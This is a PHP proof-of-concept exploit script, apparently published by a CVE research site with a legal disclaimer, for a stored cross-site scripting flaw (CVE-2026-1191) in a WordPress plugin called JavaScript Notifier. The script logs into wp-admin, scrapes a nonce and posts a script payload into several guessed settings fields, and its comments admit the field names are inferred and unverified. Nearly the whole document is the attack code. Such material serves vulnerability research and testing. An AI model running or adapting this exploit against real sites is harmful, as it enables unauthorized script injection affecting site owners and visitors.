// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1191 - JavaScript Notifier <= 1.2.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings
<?php
// CONFIGURATION
$target_url = 'https://target-site.com'; // Change this to the target WordPress site URL
$admin_user = 'administrator'; // Administrator username
$admin_pass = 'password'; // Administrator password
$payload = '<script>alert(document.domain)</script>'; // XSS payload to inject into plugin settings
// ASSUMPTIONS: The plugin settings are saved via a standard WordPress admin POST request.
// The exact form field names are unknown but are inferred to be related to notification text or attributes.
// This PoC attempts to find and poison a likely text field.
function poc_cve_2026_1191($target_url, $admin_user, $admin_pass, $payload) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only
// 1. Authenticate to WordPress admin
$login_url = $target_url . '/wp-login.php';
$login_fields = http_build_query([
'log' => $admin_user,
'pwd' => $admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
echo "[-] Authentication failed.n";
return false;
}
echo "[+] Authenticated as administrator.n";
// 2. Access the plugin's settings page to obtain a nonce.
// The plugin slug is 'javascript-notifier'. Settings are likely under Settings -> JavaScript Notifier.
$settings_url = $target_url . '/wp-admin/options-general.php?page=javascript-notifier';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// 3. Extract a nonce from the form. Assume a field named '_wpnonce' or similar.
$nonce = '';
if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches)) {
$nonce = $matches[1];
} else if (preg_match('/name="javascript_notifier_nonce" value="([a-f0-9]+)"/', $response, $matches)) {
$nonce = $matches[1];
} else {
// Fallback: try to infer from common patterns.
preg_match_all('/value="([a-f0-9]{10,})"/', $response, $matches);
if (!empty($matches[1])) $nonce = $matches[1][0];
}
if (empty($nonce)) {
echo "[-] Could not extract security nonce. The form structure may differ.n";
return false;
}
echo "[+] Extracted nonce: $noncen";
// 4. Submit the XSS payload to the settings form.
// The exact parameter names are unknown. We attempt common field names based on plugin purpose.
$submit_url = $target_url . '/wp-admin/options-general.php?page=javascript-notifier';
$post_fields = [
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/options-general.php?page=javascript-notifier',
'submit' => 'Save Changes',
// Attempt to inject into likely text fields
'javascript_notifier_text' => $payload,
'js_notifier_message' => $payload,
'notification_text' => $payload,
'message' => $payload
];
curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// 5. Verify success by checking for a success message or lack of errors.
if (strpos($response, 'Settings saved') !== false || strpos($response, 'updated') !== false || strpos($response, 'success') !== false) {
echo "[+] XSS payload likely injected successfully.n";
echo "[+] Visit the site's frontend to trigger the payload in the footer.n";
} else {
echo "[-] Payload injection may have failed. The actual form field names need verification.n";
}
curl_close($ch);
return true;
}
// Execute the PoC
poc_cve_2026_1191($target_url, $admin_user, $admin_pass, $payload);
?>
